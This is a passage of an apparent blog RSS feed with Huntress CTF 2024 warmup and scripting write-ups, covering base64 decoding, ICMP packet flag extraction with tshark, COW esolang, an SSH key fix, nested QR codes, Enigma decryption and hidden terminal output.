&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    contents &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; base64&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b64decode(contents&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(contents)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Basically I made use of the base64 module of python library and looped the data again and again for 32 times. And my hunch was right. After 32 rounds of decoding the program put out the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/base64by32/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Scripting - Echo Chamber</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/scripting-echo-chamber/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/scripting-echo-chamber/</guid>
        <description>&lt;h1 id=&#34;base64by32&#34;&gt;Base64by32
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond#6971&lt;/p&gt;
&lt;p&gt;Is anyone there? Is anyone there? I&amp;rsquo;m sending myself the flag! I&amp;rsquo;m sending myself the flag!&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/echo-chamber/echo_chamber.pcap&#34; &gt;echo_chamber.pcap&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;We are presented with a PCAP file. This is data from packet capture and can be opened and read by tools known as packet analyzers. I used a tool called &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Wireshark&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Wireshark&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Opening the PCAP file, I see only ICMP packets.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/echo-chamber/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;wireshark&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There were 31,934 of them to be exact. This could be overwhelming at the start. But we can cut the number to half because they are all echo request and reply packets. They are used to see if there is connectivity between two hosts. A host puts out an echo request packet with some data in it. If it reaches the destination host successfully, it is echoed back, that is, the data is sent back as it received it. So if the data in both request and reply is same, we can choose to filter only one of them.&lt;/p&gt;
&lt;p&gt;I used the filter &lt;code&gt;icmp.type == 8&lt;/code&gt; as request packets have their type field as 8. Reply packets have type 0, so &lt;code&gt;icmp.type == 0&lt;/code&gt; will also achieve the same result, except it will display the reply packets.&lt;/p&gt;
&lt;p&gt;We still have 15,967 packets. So somewhere in those packets, maybe one or a few packets should contain the flag. I don&amp;rsquo;t know any methods to sieve through them, I just press the arrow keys to move swiftly across packets.&lt;/p&gt;
&lt;p&gt;Another thing about these kind of challenges is they try to bury us with the large number of potential targets. So as a rule of thumb I usually start from the bottom and make my way to the top. But that&amp;rsquo;s just the way I work and this case it was beneficial to me.&lt;/p&gt;
&lt;p&gt;When I reached packet with ID 31847, I noticed the data filled with &lt;code&gt;}&lt;/code&gt; character. Slowly moving my way up, it was filled with hexadecimal characters, then a &lt;code&gt;{&lt;/code&gt; character and then the characters &lt;code&gt;g&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;l&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt;.  The &lt;code&gt;f&lt;/code&gt; character was in the packet with ID 31773.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/echo-chamber/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;finding {&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/echo-chamber/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;finding f&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Hence I found where the flag is. I could have copied it down one by one. But decided to write a script to do the job for me. As always I put together a python script. But before that I need some utility to extract the from the exact packets. This can be done by many ways, but I chose to use the command line utility &lt;a class=&#34;link&#34; href=&#34;https://tshark.dev/setup/install/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;tshark&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First I need to devise a command with tshark to list just the data. The command I ended up using was:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tshark -r echo_chamber.pcap -Y &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;frame.number &amp;gt;= 31773  &amp;amp;&amp;amp; frame.number &amp;lt;= 31847 &amp;amp;&amp;amp; icmp.type==8&amp;#34;&lt;/span&gt; -T &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fields&amp;#34;&lt;/span&gt; -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data.data&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;-r&lt;/code&gt; switch specifies the file that the program should be reading from. The &lt;code&gt;-Y&lt;/code&gt; switch is used specify the filter expression. We need packets of type 8 (echo request) and packets between ID 31773 and 31847. That is what the filter expression does. The &lt;code&gt;-T&lt;/code&gt; switch allows us to edit the output and &lt;code&gt;fields&lt;/code&gt; specify  we are going the edit the fields that are going to displayed. The &lt;code&gt;-e&lt;/code&gt; switch is used to specify the what we want to display and in this case we want the packet data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/echo-chamber/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;tshark command&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now that we have the data but it is repeated and appears to be in hex rather than characters shown in wireshark. This is probably because tshark deals with that as hex values or I should have been more specific in the command. Nevertheless this is fine.&lt;/p&gt;
&lt;p&gt;So with this data I put together a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/echo-chamber/solve.py&#34; &gt;solve.py&lt;/a&gt;, to take the output of the command, parse it, and the unhex the data to get the flag.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; subprocess
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; shlex
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; binascii
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__&lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;tshark -r echo_chamber.pcap -Y &amp;#34;frame.number &amp;gt;= 31773  &amp;amp;&amp;amp; frame.number &amp;lt;= 31847 &amp;amp;&amp;amp; icmp.type==8&amp;#34; -T &amp;#34;fields&amp;#34; -e &amp;#34;data.data&amp;#34;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    content &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; subprocess&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;check_output(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            shlex&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;split(shlex&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;quote(cmd)), shell&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;, stderr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;subprocess&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;STDOUT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    content &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; content&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hexvals &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join([con[:&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; con &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; content])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(binascii&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;unhexlify(hexvals)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I used subprocess and shlex modules from the python library to execute the tshark command and did some clean up. Finally used &lt;code&gt;unhexlify&lt;/code&gt; from binascii module to decode the output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/echo-chamber/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Cattle</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-cattle/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-cattle/</guid>
        <description>&lt;h1 id=&#34;cattle&#34;&gt;Cattle
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;I know it&amp;rsquo;s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/cattle/cattle&#34; &gt;cattle&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;After downloading the file given and reading it, I found it filled with variations of moo, ooo, mmo and so on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/cattle/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Contents of cattle file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Since I spend some time with esoteric languages I recognized this as a programming language called &lt;a class=&#34;link&#34; href=&#34;https://esolangs.org/wiki/COW&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;COW&lt;/a&gt;.
So all I did was find an online code execution environment and ran it. I used &lt;a class=&#34;link&#34; href=&#34;https://www.jdoodle.com/execute-cow-online&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;this&lt;/a&gt; from JDoodle and got the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/cattle/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Output of COW code&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - I Can&#39;t SSH</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-i-cant-ssh/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-i-cant-ssh/</guid>
        <description>&lt;h1 id=&#34;i-cant-ssh&#34;&gt;I Can&amp;rsquo;t SSH
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve got this private key&amp;hellip; but why can&amp;rsquo;t I SSH?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/i-cant-ssh/privkey&#34; &gt;privkey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Opening the file reveals that it is a OpenSSH Private key. So in theory it should be able to get us into a SSH server enabled account with the corresponding public key. So I try to SSH into the instance I spun up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/i-cant-ssh/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Failure message to SSH&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I get an error message stating that SSH key is too open. It is true that SSH keys should not be read by anyone other than the user it was intended to. So I fix it by setting the permission to &lt;code&gt;600&lt;/code&gt; with chmod as:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod &lt;span style=&#34;color:#ae81ff&#34;&gt;600&lt;/span&gt; id_rsa 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Retrying to connect, I was met with another error message.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/i-cant-ssh/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Failure message to SSH again&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So I finally decide to take a close look into the file. After a few minutes and a few searches I noticed the newline character was missing at the end of the key file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/i-cant-ssh/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Missing newline&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So I added a newline with:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Trying to SSH again, I was successfully able to connect to the instance via SSH. The flag was in a file flag.txt right there. Reading the file revealed the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/i-cant-ssh/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Successful connection and flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - MatryoshkaQR</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-matryoshka-qr/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-matryoshka-qr/</guid>
        <description>&lt;h1 id=&#34;matryoshkaqr&#34;&gt;MatryoshkaQR
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;Wow! This is a &lt;strong&gt;&lt;em&gt;big&lt;/em&gt;&lt;/strong&gt; QR code! I wonder what it says&amp;hellip;?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/matryoshka-qr/qrcode.png&#34; &gt;qrcode.png&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;As we can see the given file is a &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/QR_code&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;QR code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/matryoshka-qr/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Output of qrcode.png file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So obviously I scanned it using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mchehab/zbar&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;zbarimg&lt;/a&gt; with the command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;zbarimg -q --raw qrcode.png
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On scanning the QR code I got a string that looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00 ... \x00\x00\x00\x00IEND\xaeB`\x82
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is binary data. And if you have worked with &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Magic_number_%28programming%29#In_files&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;magic numbers&lt;/a&gt; and PNG files, you&amp;rsquo;d see the PNG file signature and IHDR and IEND which are PNG headers. So what we have is PNG data in binary encoded format.&lt;/p&gt;
&lt;p&gt;But the problem is this not exactly in binary. So we need to convert the string to actual binary. So I used python to do the job.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;binary_data&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;data from the png&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;qr1.png&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; png_file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    png_file&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(binary_data)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Moving onto the next image, we find another QR code, hence the name of the challenge.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/matryoshka-qr/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Output of qr1.png file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So again I scan the QR code using the same command as above and it gave the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/matryoshka-qr/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Getting the flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Mystery</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-mystery/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-mystery/</guid>
        <description>&lt;h1 id=&#34;mystery&#34;&gt;Mystery
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @Michael&lt;/p&gt;
&lt;p&gt;Someone sent this to me&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;such enigma, such mystery:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Settings as below:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 Rotor Model&lt;/li&gt;
&lt;li&gt;Rotor 1: VI, Initial: A, Ring A&lt;/li&gt;
&lt;li&gt;Rotor 2: I, Initial: Q, Ring A&lt;/li&gt;
&lt;li&gt;Rotor 3: III, Initial L, Ring A&lt;/li&gt;
&lt;li&gt;Reflector: UKW B&lt;/li&gt;
&lt;li&gt;Plugboard: &lt;code&gt;BQ CR DI EJ KW MT OS PX UZ GH&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;This challenge had no attachment to download. So all we have is a cipher text and some &amp;ldquo;settings&amp;rdquo;. From my recollection of the movie &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/The_Imitation_Game&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;The Imitation Game&lt;/a&gt; I remember that the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Enigma_machine&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Enigma machine&lt;/a&gt; had rotors and some sort of plugboards.&lt;/p&gt;
&lt;p&gt;That and the enigma in the challenge description strongly suggested we have a enigma cipher with key. I don&amp;rsquo;t have a enigma machine, luckily I found &lt;a class=&#34;link&#34; href=&#34;https://cryptii.com/pipes/enigma-decoder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;this&lt;/a&gt; decoder. I put in the ciphertext, plugged in the setting and got an output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/mystery/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Decoding enigma&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t know about you all if you noticed. But I missed it. I thought there was another level of cipher to the output and tried a few cipher decoding but none worked. Then I saw it. The message is right there, except white space in the wrong place. I forgot enigma does that. So copying it to a text editor and modifying it I got:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/mystery/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Finding the flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;After some text the flag is given. Since enigma doesn&amp;rsquo;t support anything other than alphabets, I guessed it is implied we have to put the curly braces in the flag. And it was right.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - The Void</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-the-void/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-the-void/</guid>
        <description>&lt;h1 id=&#34;the-void&#34;&gt;The Void
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond#6971&lt;/p&gt;
&lt;p&gt;When you gaze long into the void, the void gazes also into you&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This challenge was accompanied with a per-user instance&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;This challenge had no attachment to download. We are to use netcat to connect to a given instance. Doing so printed grey block characters such as in the image below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/the-void/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Grey text&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;At first I had no idea what it was. I redirected the output to a file with the below command and opened it in a text editor and it was not really readable to start with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/the-void/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Text in text editor&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So based on the challenge description I decided to run it for something thinking it was a sort of timing thing. Run it long enough and maybe it prints out the flag. So I did it.&lt;/p&gt;
&lt;p&gt;I ran it quite a while and got bored. I have habit of dragging and selecting text when I&amp;rsquo;m waiting for some command to finish up. I did that and noticed some text move in the output. I stopped the program and started selecting the text and the flag was right there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/the-void/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;Flag in the output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m not sure whether this is the intended way to solve this. But yeah, got the flag.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Warmup - Too Many Bits</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-too-many-bits/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/warmup-too-many-bits/</guid>
        <description>&lt;h1 id=&#34;too-many-bits&#34;&gt;Too Many Bits
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;What do all these ones and zero&amp;rsquo;s mean!?! We are in the &lt;strong&gt;Warmups&lt;/strong&gt; category after all&amp;hellip;&lt;/p&gt;
